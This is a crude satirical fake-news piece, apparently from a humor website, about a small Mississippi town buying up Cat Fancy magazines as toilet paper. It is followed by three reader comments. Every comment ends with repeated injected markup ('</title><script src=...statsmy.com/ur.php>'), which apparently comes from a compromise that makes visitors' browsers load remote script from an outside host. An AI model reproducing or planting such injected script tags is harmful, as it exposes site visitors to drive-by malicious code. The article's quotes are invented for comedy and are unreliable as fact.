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Toilet Paper Outage Causes Sales Spike of Cat Fancy Magazine
by Kris on 5/31/2005 (3)

This is a great magazine... for me to poop on!
Neptune, Mississippi is a town much in vain of the classic American small town. There are no Wal-Marts, McDonalds, or Home Depots, just local stores owned by local folks. So when the only store that carried toilet paper ran out due to an inventory miscalculation, Neptune residents had to find other means to get by.

"Cat Fancy has been one of our worst selling magazines for years," said Susan Miller, owner of the Neptune General Store. "Most people prefer monster trucks, professional wrestling, and porno mags. But the cats are cute, and I felt bad to cancel the subscription."

Since they began subscribing to Cat Fancy in 1994, hundreds of unsold Cat Fancy magazines have collected in the basement of the Neptune General Store.

"I was hoping they would catch fire one day and burn this place to the ground," admits Miller. "I've got a great insurance policy, I could use that money to finally get out of this hellhole."

Instead of leading to a sizeable insurance check though, these magazines provided a solution to the town's toilet paper woes.

"We noticed just a day after running out of toilet paper that Cat Fancy magazines were flying off the shelves," said Miller. "Cat Fancy, because of discount pricing since they almost never sold, was the cheapest magazine we had. In the period of a week, we sold all the Cat Fancy magazines from the shelves and emptied nearly the whole basement."

Even two weeks later, when toilet paper reserves had long since been restored, many Neptunians preferred to continue to use Cat Fancy magazine.

"At first it felt weird wiping your ass on a kitten, but you get used to it," said Neptune resident Tom Bradford. "After a week of using this wonderful magazine, I can't imagine going back. It feels great on my ass, and the kittens are really cute too."

"Suddenly our worst selling magazine has become our best," said Miller. "I've tripled the store's subscriptions but they're still sold out the day they arrive. People actually complain now when all we have is toilet paper."

Sources report the reactions of employees at Cat Fancy regarding this news were somewhat mixed.

"I like to think it's the hard hitting journalism that draws people to Cat Fancy," said long-time writer Nancy Wells. "While it is someone disheartening that many people would rather use our magazine to wipe their asses, our ultimate goal is to get consumers to buy our magazine. So in that regard, this new trend is a good thing."

The increase in sales of Cat Fancy for use in the bathroom, which has spread to many towns neighboring Neptune, has prompted executives to consider new options to make Cat Fancy more desirable for its new toilet paper roll.

"We're considering a new softer, two-ply design and may also add aloe to help avoid rashes and sooth skin," said Cat Fancy President Gene Carver. "It is an exciting, new direction we are headed into and we intend to do everything we can to succeed."


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Comments

1. by Motzaroo on 3/1/2007 4:52:29 PM
"This is a great magazine... for me to poop on!" *sheesh*?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Triumph on 3/1/2007 4:52:29 PM
I kid, I kidon </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Neptunian on 3/1/2007 4:52:29 PM
You don't know nothin about Neptune, MS. I will eat yur lunch if you come down to these parts. Do you hear me you yankee? Cat Fancy = Heritage, not Hateh </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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